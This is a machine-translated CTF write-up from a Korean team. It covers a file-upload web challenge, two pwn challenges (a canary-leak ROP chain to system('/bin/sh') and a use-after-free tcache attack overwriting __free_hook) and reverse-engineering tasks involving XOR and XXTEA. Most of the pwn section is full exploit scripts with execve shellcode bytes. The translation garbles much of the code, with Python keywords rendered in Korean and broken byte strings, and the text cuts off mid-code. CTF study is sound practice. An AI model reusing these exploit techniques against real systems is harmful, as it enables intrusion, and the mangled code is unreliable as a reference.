KoreanHackerTeam
Moderator
Web
HackMe
처음에는 파일이 업로드되고 UTF-16의 인코딩이 우회 된 다음 파일 이름이 프롬프트에 따라 폭파됩니다. 마지막 4 자리 0000-9999에 액세스 할 수 있습니다. 12 시간입니다.Pwn
babyrop
디버그# _*_ 코딩 :UTF-8 _*_
PWN 가져 오기 *
Numpy를 NP로 가져옵니다
context.log_level='디버그'
#context.terminal=[ 'tmux', 'splitw', '-h']]]]
prog='./babyrop'
#ELF=ELF (Prog)
p=process (prog)#, env={ 'ld_preload':'./libc-2.27.so '})
libc=elf ( './libc-2.27.so')
#p=원격 ( '123.57.207.81', 44823)
def debug (addr, pie=false) :
debug_str=''
pie: 인 경우
text_base=int (os.popen ( 'pmap {} | awk'{{print $ 1}} ''. 형식 (p.pid)). readlines () [1], 16)
ADDR:에서 i를 위해
debug_str+='b *{} \ n'.format (hex (text_base+i))
gdb.attach (p, debug_str)
else:
ADDR:에서 i를 위해
debug_str+='b *{} \ n'.format (hex (i))
gdb.attach (p, debug_str)
def dbg () :
gdb.attach (p)
#---------------------------------------------------------------------------------------------------------
s=lambda data
.send (str (data)) #데이터 데이터가 int입니다.sa=lambda delim, data
.sendafter (str (delim), str (data))SL=Lambda Data
.sendline (str (data))SLA=LAMBDA DELIM, 데이터
.SENDLINPER (str (delim), str (data))r=lambda numb=4096
.recv (numb)ru=lambda delims, drop=true
.recvuntil (delims, drop)It=Lambda
.interactive ()UU32=Lambda Data :U32 (data.ljust (4, '\ 0'))
uu64=람다 데이터 :u64 (data.ljust (8, '\ 0'))
BP=Lambda BKP
dbg.bp (BKP)li=lambda str1, data1 :log.success (str1+'========'+hex (data1))
DEF DBGC (ADDR) :
gdb.attach (p, 'b*' + hex (addr) + '\ n c')
def lg (s, addr) :
print ( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s, addr))
sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'
sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xe3 \ xcd \ xcd \ xecd
sh_x64_21='\ xf7 \ xe6 \ x50 \ x48 \ xbf \ x2f \ x62 \ x69 \ x6e \ x2f \ x2f \ x73 \ x68 \ x57 \ x48 \ x89 \ xe7 \ xb0 \ xb0 \ x3b \ xb0
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------sa('name? \n','a'*0x19)
디버그 ([0x400752])
main=0x40075b
Val=0x400717
read_plt=0x400600
BSS=0x601010
puts_got=0x600fc0
puts_plt=0x4005d0
printf_plt=0x4005f0
sa ( 'name? \ n', 'a'*0x19)
ru ( 'a'*0x19)
RDI=0x400913
canary=(uu64 (ru ( ',') [033607]) 8
lg ( '카나리아', 카나리아)
SLA ( '그의 도전 \ n', str (0x4009ae))
pay=(p64 (0x601010+8)*3)
SA ( 'Message \ N', Pay+P64 (Canary)+P64 (BSS+8)+P64 (0x40075c))
수면 (0.5)
#pay=p64 (rdi)+p64 (puts_got)+p64 (puts_plt)+p64 (val)+'\ n'
#s (지불)
sa ( 'name? \ n', p64 (rdi)+p64 (puts_plt)+p64 (0x40075b)+'\ n')
SLA ( '그의 도전 \ n', str (0x4009ae))
pay=p64 (puts_plt)+p64 (0x400717)+'a'*8
SA ( 'Message \ N', Pay+P64 (Canary)+P64 (BSS+8)+P64 (0x40075c))
sa ( 'name? \ n', p64 (rdi)+p64 (0x600fc0)+p64 (0x000000000000040090c)+'\ n')
SLA ( '그의 도전 \ n', str (0x4009ae))
pay=p64 (puts_plt)+p64 (0x400717)+'a'*8
SA ( 'Message \ N', Pay+P64 (Canary)+P64 (BSS+8)+P64 (0x0000400911))
libc_base=uu64 (ru ( '\ x7f', drop=false) [-6:])-(0x7f23ededeaa0-0x7f23ede5e000)
lg ( 'libc_base', libc_base)
sa ( 'name? \ n', p64 (rdi)+p64 (libc.search ( '/bin/sh'). next ()+libc_base)+p64 (libc_base+libc.sym [ 'system'])+'\ n')
SLA ( '그의 도전 \ n', str (0x4009ae))
pay=p64 (puts_plt)+p64 (0x400717)+'a'*8
SA ( '메시지 \ n', pay+p64 (카나리)+p64 (bss+8)+p64 (0x00000000000400911))
lg ( 'libc_base', libc_base)
그것()
bookshop
UAF Fastbin+Tcache# _*_ 코딩 :UTF-8 _*_
PWN 가져 오기 *
context.log_level='디버그'
prog='./bookshop'
#ELF=ELF (Prog)
p=process (prog)#, env={ 'ld_preload':'./libc-2.27.so '})
libc=elf ( './libc-2.31.so')
#p=원격 ( '123.57.132.168', 30042)
def debug (addr, pie=true) :
debug_str=''
pie: 인 경우
text_base=int (os.popen ( 'pmap {} | awk'{{print $ 1}} ''. 형식 (p.pid)). readlines () [1], 16)
ADDR:에서 i를 위해
debug_str+='b *{} \ n'.format (hex (text_base+i))
gdb.attach (p, debug_str)
else:
ADDR:에서 i를 위해
debug_str+='b *{} \ n'.format (hex (i))
gdb.attach (p, debug_str)
def dbg () :
gdb.attach (p)
#---------------------------------------------------------------------------------------------------------
s=lambda data
.send (data) #in 데이터가 int 인 경우SA=LAMBDA DELIM, 데이터
.SENDAFTER (DELIM, DATA)SL=Lambda Data
.sendline (데이터)SLA=LAMBDA DELIM, 데이터
.SENDLINET (DELIM, DATA)r=lambda numb=4096
.recv (numb)ru=lambda delims, drop=true
.recvuntil (delims, drop)It=Lambda
.interactive ()UU32=Lambda Data :U32 (data.ljust (4, '\ 0'))
uu64=람다 데이터 :u64 (data.ljust (8, '\ 0'))
BP=Lambda BKP
dbg.bp (BKP)li=lambda str1, data1 :log.success (str1+'========'+hex (data1))
DEF DBGC (ADDR) :
gdb.attach (p, 'b*' + hex (addr) + '\ n c')
def lg (s, addr) :
print ( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s, addr))
sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'
sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xe3 \ xcd \ xcd \ xecd
sh='\ x48 \ xb8 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x00 \ x50 \ x48 \ x89 \ xe7 \ x48 \ x31 \ xf6 \ x48 \ x31 \ xd2 \ x48 \ xc7 \ xc0 \ x3b \ x00 \ x00 \ x00 \ x0f \ x05 '
#https://www.exploit-db.com/shellcodes
#---------------------------------------------------------------------------------------------------------
DEF 선택 (IDX) :
SLA ( '', str (idx))
DEF ADD (CON) :
선택 (1)
SLA ( '', con)
DEF DELETE (IDX) :
선택 (2)
SLA ( 'bag?', str (idx)
DEF SHOW (IDX) :
선택 (3)
SLA ( 'Read?', str (idx)
def exp () :
SLA ( 'number?', str (0x68))
범위 (10) :의 I의 경우
추가 (6*(P64 (0)+P64 (0x71))))
추가 (p64 (0)*4+(p64 (0x421)+p64 (0x41))))))
범위 (7) :의 I의 경우
삭제 (i)
삭제 (8)
쇼 (1)
ru ( 'content:')
힙=uu64 (ru ( '\ n') [-6:])
LG ( '힙', 힙)
범위 (7) :의 I의 경우
추가 (6*(P64 (0)+P64 (0x71))))
삭제 (8)
추가 (p64 (heap+0x40))
추가 (P64 (0))
추가 (P64 (0)*3+P64 (0x421))
lg ( '힙', 힙+0x40)
#dbg ()
삭제 (1)
쇼 (1)
libc_base=uu64 (ru ( '\ x7f', drop=false) [-6:])-(0x7f3f97308be0-0x7f3f9711d000)
lg ( 'libc', libc_base)
fh=libc_base + libc.sym [ '__ free_hook']
sys=libc_base + libc.sym [ 'system']
삭제 (2)
삭제 (20)
삭제 (0)
추가 (P64 (FH)*12)
추가 ( '/bin/sh \ x00')
추가 (p64 (sys))
삭제 (22)
그것()
__name__=='__ 메인 __': 인 경우
exp ()
Re
Random
직접 디버깅 키가 변경되지 않은 상태로 유지q=[0x3e,0xcd,0xaa,0x8e,0x96,0x1f,0x89,0xcd,0xdb,0xf1,
0x70,0xf2,0xa9,0x9c,0xc2,0x8b,0xf2,0xfe,0xad,0x8b,
0x58,0x7c,0x2f,0x03,0x4a,0x65,0x31,0x89,0x76,0x57,
0x88,0xdf,0xb8,0xe9,0x01,0xe9,0xde,0xe5,0x86,0x68,
0x8f,0x24,0xd3,0x5a]
k=[0x58,0xa1,0xcb,0xe9,0xed,0x2c,0xec,0xfb,0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0x80,0xbf,0x3e,0x4 4,0x18,0x2e,0x73,0x56,0x52,0xb8,0x5b,0x66,0xed,0xbc,0x8a,0xd8,0x36,0x8f,0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a.
f=''
IN 범위 (LEN (k)) :
f+=chr (q ^k )
인쇄 f
플래그 {3E625FE0-FB18-4F87-93C1-1EC217F86796}
wow
upx -d 쉘링이 섹션을 패치하십시오
.Text:00402352 전화 $+5
.Text3:00402357 추가 [ESP+4+var_4], 6
.Text3:0040235B 12 월 EAX
.Text3:0040235c Retfint __cdecl main (int argc, const char ** argv, const char ** envp)
{
int *v3; //esi
int *v4; //EBP
int v5; //ecx
int v6; //EBP
int v7; //esi
int v8; //ecx
int V9; //edi
서명되지 않은 int i; //엑스
서명되지 않은 int v11; //ecx
서명되지 않은 int v12; //EDX
서명되지 않은 int v13; //ecx
int *v15; //[ESP+10H] [EBP-68H]
int v16; //[ESP+2CH] [EBP-4CH]
int v17; //[ESP+30H] [EBP-48H]
int v18; //[ESP+34H] [EBP-44H]
char v19 [24]; //[ESP+38H] [EBP-40H] BYREF
Char V20 [24]; //[ESP+50H] [EBP-28H] BYREF
int v21; //[ESP+74H] [EBP-4H]
int savedregs; //[ESP+78H] [EBP+0H] BYREF
v4=저장 레그;
sub_4024c0 (v20);
v21=0;
sub_402740 (dword_42afd0, v20);
scanf (v19, 입력);
Lobyte (v21)=1;
if (strlen (v20)!=36)
{
printf ((int) unk_42ae80, '잘못된 \ n');
v17=0;
v16=0;
label_9:
*((_ byte *) v4-4)=0;
sub_402430 (v4-16);
*(v4-1)=-1;
sub_402430 (v4-10);
반품 *(v4-19);
}
v18=sub_402420 (v20);
v15=v3;
v5=*(_ dword *) (v18 + 34);
v6=12;
v7=0;
하다
{
v7 +=0x67452301;
v8=v5-1;
v9=v7 + 4;
for (i=0; i 8; ++ i)
{
v11=v8 + 2;
v12=(((V11 + 1) 3) + (v7 ^ (16 * (v11 + 1))))) ^ (((((((((() v11 + 1) 3)))) + (v7 ^ (16 * (16 * (v11 + 1))) ^ ((V11 + 1) 3)).
+ ((v11 5) ^ (4 * v11));
*(_ dword *) v12 +=v12;
v6 +=2;
v9 +=4;
v8=*(_ dword *) v12 + 1;
}
v13=*(_ dword *) v12 + 3;
* (_ dword *) (v7 + 32) +=(((((v13 + 1)) 3) + (v7 ^ (16 * (v13 + 1)))) ^ (((((((((((() v13 + 1) 3))))) ^ (V13 + 1))) ^ (V13 + 1) 3)))
+ ((v13 5) ^ (4 * v13));
v5=*(_ dword *) (v7 + 32);
v6 +=2;
}
(v6);
v4=v15;
if (sub_4029f0 (v15-10, v15-16))
{
printf ((int) unk_42ae80, 'right \ n');
*(v15-19)=0;
goto label_9;
}
printf ((int) unk_42ae80, '잘못된 \ n');
*((_ byte *) v15-4)=0;
sub_402430 (v15-16);
*(v15-1)=-1;
반환 sub_402430 (v15-10);
}
거의 xxtea 암호화입니다
어셈블리를보고 찾기 키=[0xefcdab89,0x10325476,0x98badcfe,0xc3d2e1f0]
델타0x67452301
비밀 텍스트
0xD8F758F5,0x526849DB,0xe2d72563,0x485eefac,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A
해독 할 온라인 스크립트를 찾으십시오
#include stdio.h
#include stdint.h
#define 델타0x67452301
#define mx (((z5^y2) + (y3^z4))^((sum^y) + (키 [(p3)^e]^z))))
void xxtea (uint32_t* v, int n, uint32_t* 키)
{
uint32_t y, z, sum;
서명되지 않은 p, 라운드, e;
if (N & G